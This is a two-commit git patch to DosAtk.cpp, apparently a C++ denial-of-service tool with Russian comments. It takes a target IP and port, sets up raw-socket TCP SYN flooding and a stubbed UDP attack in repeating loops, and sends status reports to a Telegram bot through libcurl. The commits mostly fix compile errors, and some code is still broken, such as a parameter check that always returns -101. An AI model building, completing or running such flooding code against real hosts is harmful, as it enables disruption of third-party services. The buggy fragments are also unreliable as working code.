From 9f0f15c1e87157cb972e17cd3e7bae6fc8dab1c2 Mon Sep 17 00:00:00 2001 From: tieshagr Date: Thu, 17 Apr 2025 02:30:06 +0300 Subject: [PATCH 1/2] dev was compile --- src/DosAtk.cpp | 98 ++++++++++++++++++++++++++------------------------ 1 file changed, 52 insertions(+), 46 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 14080ca..b481071 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -16,6 +16,13 @@ #include // Определение констант сетевых интерфейсов (IFNAMSIZ) #include // Управление сокетами и интерфейсами (ioctl) #include // Флаги файловых дескрипторов (fcntl) +#include // Строки +#include // Для работы с временем +#include // Для struct option и getopt_long() +#include // Основной заголовок libcurl +#include // стандартный input output +#include +#include /* ██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ @@ -26,8 +33,8 @@ ╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════ */ -int argc // Количество аргументов при вызове программы -char **argv // Массив строк с агрументами +int argc; // Количество аргументов при вызове программы +char **argv; // Массив строк с агрументами std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя std::string ip; // Ip жертвы @@ -42,6 +49,7 @@ std::string log_msg; // Сообщение, std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю std::string msg; // Сообщение, которое будет отправлено в телеграм int status; // Статус работы программы +// int log_status; /* ██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗ @@ -69,31 +77,30 @@ int my_check_params() //Объявление std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы + std::time_t now_time_t; // текущее время int opt; // Прочитанный параметр const char* short_options; // Сокращения для параметров - struct option long_options[]; // Структура, описывающая пеобходимые программе параметры + struct option long_options[10]; // Структура, описывающая пеобходимые программе параметры int i; // Счётчик для цикла // Инициализация ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; opt = -1; short_options = "a:d:i:p:l:t:b:h"; - long_options = - { - {"attack", required_argument, NULL, 'a'}, - {"domain", required_argument, NULL, 'd'}, - {"ip", required_argument, NULL, 'i'}, - {"port", required_argument, NULL, 'p'}, - {"log", required_argument, NULL, 'l'}, - {"telegram", required_argument, NULL, 't'}, - {"token", required_argument, NULL, 'b'}, - {"help", no_argument, NULL, 'h'}, - {NULL, 0, NULL, 0} - }; + long_options[0] = {"attack", required_argument, NULL, 'a'}; + long_options[1] = {"domain", required_argument, NULL, 'd'}; + long_options[2] = {"ip", required_argument, NULL, 'i'}; + long_options[3] = {"port", required_argument, NULL, 'p'}; + long_options[4] = {"log", required_argument, NULL, 'l'}; + long_options[5] = {"telegram", required_argument, NULL, 't'}; + long_options[6] = {"token", required_argument, NULL, 'b'}; + long_options[7] = {"help", no_argument, NULL, 'h'}; + long_options[8] = {NULL, 0, NULL, 0}; i = 0; printf("begin my_check_params"); // debug + now_time_t = std::time(nullptr); // Выводим информацию о времени запуска программы printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) @@ -163,6 +170,8 @@ int my_check_params() } printf("end my_check_params status: %i\n", status); // debug + + return -101; } void my_diag() @@ -218,10 +227,10 @@ std::string escape_json(const std::string& s) // ===== Инициализация ===== result = ""; - c = ''; + c = '\0'; // пустой символ // Проходим по каждому символу входной строки - for (c : s) { + for (char c : s) { // Обрабатываем специальные символы JSON switch (c) { case '"': result += "\\\""; break; // Экранирование двойных кавычек @@ -289,8 +298,8 @@ void my_msg() chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\""; json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса http_code = 0; - res = nullptr; - + res = CURLE_OK; + // Проверка наличия обязательных параметров Telegram if (telegram_token.empty() || telegram_id.empty()) { @@ -365,7 +374,7 @@ void my_fin() // Объявления time_t end_time_t; // Время завершения выполненя программы - std::chrono::duration duration; // Длительность выполнения программы + std::chrono::milliseconds duration; // Длительность выполнения программы std::chrono::hours hours; // Компонента часов времени завершения std::chrono::minutes minutes; // Компонента минут времени завершения std::chrono::seconds seconds; // Компонента секунд времени завершения @@ -373,12 +382,12 @@ void my_fin() // Иницаализация end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now()); - duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы + duration = std::chrono::duration_cast(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы hours = std::chrono::duration_cast(duration); // Разбиваем продолжительность на компоненты minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты - double total_seconds + double total_seconds; printf("begin my_diag\n"); // debug @@ -416,13 +425,6 @@ void my_fin() std::exit(status); } -int my_dns() -{ - // Данная процедура сопостовляет доменное имя с IP - printf("start my_dns"); // debug - printf("end my_dns"); // debug -} - int my_tcp_syn() { /* * Отправляет TCP SYN запрос на указанный IP и порт @@ -465,13 +467,13 @@ int my_tcp_syn() { // === Инициализация переменных === sock = -1; one = 1; - target_addr = nullptr; + memset(&target_addr, 0, sizeof(target_addr)); target_port = htons(atoi(port.c_str())); - ip_header = nullptr; - tcp_header = nullptr; - pseudo_header = nullptr; - temp_buf = nullptr; - packet = nullptr; + memset(&ip_header, 0, sizeof(ip_header)); + memset(&tcp_header, 0, sizeof(tcp_header)); + memset(&pseudo_header, 0, sizeof(pseudo_header)); + memset(temp_buf, 0, sizeof(temp_buf)); + memset(packet, 0, sizeof(packet)); checksum_ptr = 0; checksum_sum = 0; checksum_len = 0; @@ -564,6 +566,17 @@ int my_tcp_syn() { return 0; } +int my_udp() { + return 0; +} + +// Callback для записи ответа от сервера +size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) { + size_t total_size = size * nmemb; + output->append((char*)contents, total_size); + return total_size; +} + int my_dns() { // Данная процедура сопостовляет доменное имя с IP @@ -644,13 +657,6 @@ int my_dns() return status; } -// Callback для записи ответа от сервера -size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) { - size_t total_size = size * nmemb; - output->append((char*)contents, total_size); - return total_size; -} - /* █████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █ @@ -690,7 +696,7 @@ int main(int arg_ctr, char **arg_ptr) { while (true) // Запускаем цикл UDP-атаки { - status = my_udp() + status = my_udp(); if (status == 2) // Код завершения атаки { break; @@ -719,7 +725,7 @@ int main(int arg_ctr, char **arg_ptr) { my_fin(); // Просто завершаем программу } - else if (log_status == 1) // Если лог не удалось записать + else if (status == 1) // Если лог не удалось записать { my_msg(); // Отправляем сообщение my_fin(); // Завершаем программу @@ -735,7 +741,7 @@ int main(int arg_ctr, char **arg_ptr) // Запускаем цикл UDP-атаки while (true) { - status = my_tcp_syn() + status = my_tcp_syn(); if (status == 2) // Код завершения атаки { break; @@ -764,7 +770,7 @@ int main(int arg_ctr, char **arg_ptr) { my_fin(); // Просто завершаем программу } - else if (log_status == 1) // Если лог не удалось записать + else if (status == 1) // Если лог не удалось записать { my_msg(); // Отправляем сообщение my_fin(); // Завершаем программу -- 2.40.1 From 7643bbb7d05fda5abfb078c2fb542e747f67d169 Mon Sep 17 00:00:00 2001 From: tieshagr Date: Thu, 17 Apr 2025 02:35:31 +0300 Subject: [PATCH 2/2] dev compiled --- src/DosAtk.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index b481071..09cd1b2 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -798,5 +798,5 @@ int main(int arg_ctr, char **arg_ptr) break; } - return 0; // Возвращаем код успешного завершения + return 0; // Возвращаем код успешного завершения } \ No newline at end of file -- 2.40.1